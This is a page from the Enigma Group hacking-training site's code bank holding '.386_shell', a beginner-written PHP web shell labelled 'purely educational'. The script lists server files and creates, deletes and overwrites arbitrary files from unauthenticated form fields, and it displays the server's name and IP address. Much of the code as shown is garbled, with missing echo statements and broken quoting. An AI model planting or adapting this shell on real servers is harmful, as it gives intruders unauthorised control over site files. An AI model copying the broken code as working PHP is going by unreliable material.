EG Information

Main Index
EG Manual
Disclaimer
Legal Information
Hall of Fame
Hall of Shame
Member Rankings
Members List
Meet the Staff

Training Missions

Read Me First New
Basic Skills
Realistic Scenarios
Cryptography
Software Cracking
Linux ELF Binary Cracking
Logical Thinking
Programming
Patching
Steganography
Deface This Wall
/dev/null
/dev/urandom

Knowledge Bank

Discussion Forums
Enigma Chat New
RSS Feeds RSS
Articles / Tutorials
Videos
Online EG MP3 Player Radio
Enigma Zine
Downloads
Tools New

Code Resources

Submit Code
Ajax
ASM
Bash
C
CPP
Csharp
Delphi
Haskell
Java
Javascript
Jython
Lisp
mIRC
MySQL
Perl
PHP
Python
QBASIC
VisualBasic

Hakipedia: An open collaborative for all your information security needs.

The Urinal

Click Here To Vote For EG!

Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site.

enigma group

enigma group

enigma group

enigma group

Enigma Group's Code Bank


.368_shell

By: mediocre  -  Date Submitted: 2008-06-05 06:29:44

  1. <html>
  2. <?php
  3. /********************************************************************************************************************************
  4. .about_386_shell
  5.  
  6. .386_shell was written by mediocre.
  7. Purely educational, of course.
  8.  
  9. It's actually not all that.
  10.  
  11. I suppose you could use it as:
  12.  - an alternative content management system
  13.  - a source of (very) basic whois information (e.g. ip address and server name)
  14.  - whatever you want, providing you're willing to implement the new features :P
  15.  
  16. It's a reasonably simple script, because when I made this i'd been learning PHP for about 2 days with no prior knowledge of any programming language.
  17. All code was written from scratch (and with great difficulty).
  18.  
  19. Please scrutinize my code and bad programming habits and PM me or whatever.
  20. Plus, let me know of any additions or changes that could be made to improve it.(Especially the slight lag problem when editing files on the server.)
  21.  
  22. ~mediocre
  23. ***********************************************************************************************************************************/
  24.  
  25. <body bgcolor="#000000" text="#99FF00" link="#99FF00" vlink="#99FF00" alink="#99FF00">
  26.  
  27.  
  28. <br />
  29. <font face="Arial" size="48px">.386_shell</font>
  30.  
  31. <p align="center">
  32. <tt>
  33. ';
  34. ?>
  35. <table width ="95%" align="center">
  36. <tr align="center">
  37. <td>
  38. <tt>.<b>filename</b></tt>
  39. </td>
  40.  
  41. <?php
  42. $action = $_GET['action'];
  43. $url = $_SERVER["SERVER_NAME"];
  44. $ip = $_SERVER["SERVER_ADDR"];
  45. $del = ".delete";
  46. $view = ".create_new_file";
  47. $mkdir = ".create_new_dir";
  48. $edit = ".edit";
  49. $upload = ".upload";
  50.  
  51. ?>
  52.  
  53. </tr>
  54. </table>
  55. <?php
  56. $handle = '/testarea';
  57. if ($handle = opendir('.')){
  58. while (false !== ($file = readdir($handle))){
  59. if ($file !== '.' && $file !== '..')
  60. echo "
  61. <tt>
  62. $file<br />
  63. </tt>";
  64. }
  65.  
  66. closedir($handle);
  67. echo "</tr>
  68. </table>";
  69. }
  70. ?>
  71. </p>
  72. <br /><br /><br />
  73. <?php
  74. //Create Box
  75. <p align="center">
  76. $view<form action="" method="post"><input type="text" name="viewthisfile" size="30"><br />
  77. <input type="submit" value="Create">
  78. ";
  79.  
  80. echo "<br /><br />";
  81. echo "</p>
  82. ";
  83.  
  84. $viewfile = $_POST['viewthisfile']; //$viewfile value is that of the textbox "viewthisfile".
  85.  
  86. if (is_file($viewfile)) {
  87. <p align="center">" . """ . $viewfile . """ . " is already a file.<br />Enter a different name to continue.
  88. </p>
  89. ";
  90.  
  91. }
  92. elseif ($viewfile != ""){ //Else If $viewfile does not equal "", do this:
  93. $emptymess = "
  94. This message has been displayed in order for you to open this file.nnPlease delete it and continue as normal.
  95. ";
  96.  
  97. $viewfilehandle = fopen($viewfile, "w") or die("Could not find $viewfile.<br /> Created $viewfile");
  98. //Create filehandle named $viewfilehandle.
  99. //Open $viewfile for writing, if error, display error message.
  100. fwrite ($viewfilehandle, $emptymess);
  101. fclose($viewfilehandle); //Close file.
  102.  
  103. <p align="center">"
  104. . $viewfile . " created.
  105. </p>
  106. ";
  107. }
  108.  
  109. $viewfile = "";
  110. /* never worked these bits, fix them if you want:
  111. //MKDIR Section
  112.  
  113.  
  114. //Upload box HTML
  115. ?>
  116. <p align="center">
  117. <?php echo $upload; ?><br /><br />
  118.   <form enctype="multipart/form-data" action="" method="post">
  119.   <input type="hidden" name="MAX_FILE_SIZE" value="2147483647">
  120.   <input type="file" name="uploadbox" size="30"><br />
  121. <!--
  122.   <input type="text" name="target" size="30" value="/"><br />
  123. -->
  124.   <input type="submit" value="Upload">
  125.   </form>
  126.  
  127. <?php
  128. //Upload box PHP
  129. $dir = "upload/"; //$_POST['target'];
  130. $ufile = basename($_FILES['uploadbox']['name']);
  131. $uploadtarget = $dir . $ufile;
  132.  
  133.  
  134. if ($ub != ""){ //If something got put in the textbox named "uploadbox", do this:
  135.   if (move_uploaded_file($_FILES['uploadbox']['tmp_name'], $uploadtarget)){
  136.   echo $ufile . " was succesfully uploaded to " . $dir . "." . "</p>";
  137.   }
  138.   else { //Else do this:
  139.   echo "Error uploading " . $ufile . " to " . $dir . ".</p>"; //Show error message
  140.   }
  141. }
  142.  
  143. $ub = $_POST['uploadbox']; //variable $ub is equal to uploadbox's value
  144. */
  145. ?>
  146.  
  147. <?php
  148. //Delete Box
  149. <p align="center">
  150. $del<br><br><form action="" method="post"><input type="text" name="deletethisfile" size="30"><br />
  151. <input type="submit" name="delsubmit" value="Delete">
  152. ";
  153.  
  154. $delfile = $_POST['deletethisfile'];
  155.  
  156.  
  157. if ($delfile != "")
  158. {
  159. if (is_file($delfile)){
  160. echo "<br /><br />";
  161. $size = intval(filesize($delfile)/1000) . "kb";unlink($delfile) or die("Error. Could not delete $delfile.");
  162. echo $delfile . " deleted (" . $size . ").
  163. ";
  164. }
  165. else {
  166. echo "<br /><br />" . """ . $delfile . """ . " does not exist.<br />Could not delete " . """ . $delfile . "".";
  167. }
  168. }
  169.  
  170. //Edit box
  171. $startmess = "";
  172. $emptymess = "
  173. This message has been displayed in order for you to open this file.nnPlease delete it and continue as normal.
  174. ";
  175.  
  176. $save = "stn.txt";
  177. $anything = "386shell";
  178.  
  179. if (is_file($save)){
  180. $savethename = $save;
  181. $stnhandle = fopen($savethename, 'r');
  182. $startmess = fread($stnhandle, 1024);
  183.  
  184. $anyhandle = fopen($savethename, 'w');
  185. fwrite($anyhandle, $anything);
  186.  
  187. fclose($stnhandle);
  188. }
  189.  
  190. if ($_POST['editthisfile'] != "") {
  191. $etf = $_POST['editthisfile'];
  192. if (is_file($etf)){
  193. $etfhandle = fopen($etf, 'r');
  194. if (filesize($etf) == 0){
  195. $quickwrite = fopen($etf, "w");
  196. fwrite($quickwrite, $emptymess);
  197. fclose($quickwrite);
  198.  
  199. $ed = fread($etfhandle, filesize($etf)) ;
  200. fclose($etfhandle);
  201. } else {
  202. $ed = fread($etfhandle, filesize($etf)) ;
  203. fclose($etfhandle);
  204. }
  205. } else {
  206. $errormess = "Error. Could not open "$etf". "$etf" does not exist.";
  207. $errormess = stripslashes($errormess);
  208. }
  209.  
  210. }
  211.  
  212. $startmess = $_POST['editthisfile'];
  213. $startmess = strip_tags(trim($startmess));
  214.  
  215. $savethename = $save;
  216. $stnhandle = fopen($savethename, 'w');
  217. fwrite($stnhandle, $startmess);
  218. fclose($stnhandle);
  219.  
  220. if (isset($_POST['bang'])){
  221. $modmess = ""$startmess" modified.";
  222. }
  223.  
  224. if (isset($ed)){
  225. echo "<form method="post" action="" name="editform"><br /><br />$edit<br /><br />
  226. <input type="text" name="editthisfile" size="30" value="$startmess"><input type="Submit" value="View Source"><br />
  227. <textarea name="editcode" rows="10" cols="50">$ed</textarea><br />
  228. <input type="submit" name="bang" value="Edit">
  229. </form>
  230. $modmess
  231. <br />
  232. ";
  233. $etf = $_POST['editthisfile'];
  234.  
  235. if (isset($_POST['bang'])) {
  236. $striped = stripslashes($_POST['editcode']);
  237. $stripy = fopen($etf, 'w');
  238. fwrite($stripy, $striped);
  239. fclose($stripy);
  240.  
  241. }
  242.  
  243. } else {
  244. echo "<form method="post" action="" name="editform"><br /><br />$edit<br /><br />
  245. <input type="text" name="editthisfile" size="30" value="$startmess"><input type="Submit" value="View Source"><br />
  246. <textarea name="editcode" rows="10" cols="50"></textarea><br />
  247. <input type="submit" name="bang" value="Edit">
  248. </form>
  249. $errormess
  250. ";
  251. }
  252.  
  253.  
  254. ?>
  255.  
  256. <?php
  257. <p align="center">
  258. <b>.server_name</b><br />
  259. : : $url : :<br />
  260. <br />
  261. <b>.server_addr</b><br />
  262. : : $ip : :
  263. </p>
  264. ";
  265. ?>
  266. </body>
  267. </html>
Return to php category list

Who's Online

483 Guests, 101 Users
ckryptix, viper0i0, Diznablo, rabbidmind, asapong, Nasrudin, CollapsingWalls, mehtaparag, bitstrike, jnony, C, Nicid1, Nusquam-Redono-Sapientia, bazcrown, saifulfaizan, The End, Ultraminor, psychomarine, st3alth, themastersinner, pgmrlink, login, lionaneesh, ishkur88, mahraja, Mac, chekifr, gandalf88, Vap0r, t0ast, tantrum6226, BnE, Distorted, Psiber_Syn, Ausome1, invas10n, oldgoat, freedaysbecumei, BinaryShinigami, Rex_Mundi, Red_beard, Strobeflux, s0m3nak3dguy, Descent, teehee, machupicchu, Genetix, Anandarl, NotMyOwn, thegamerdude, Godzila, popo12341234, RedEvolution, velocity_b, myne17, teto111, aVoid, Central-Gsm, 1101, JackalReborn, InjectioN, h4lted, c0re, DisPater, markt4death, splatta, Jackowacko, saint556, Pyron2312, Azerion, howsens, white.hat.gone.bad, vazzilly, pwunkz, Ios, Inverted, QuarterCask, Infernoe11, deskata, cr4ck3rj4ck, Blizer, jasonmax, j0sh, gwenwavor, N4g4c3N, spizeyboy, Network X, Uino59, Jae Cee, ianFDK, saykov, medhaavee, zofy, demonkiller410, Stumble, SaMTHG, kishore, Raze, helasraizam, Venom1019, Jakabo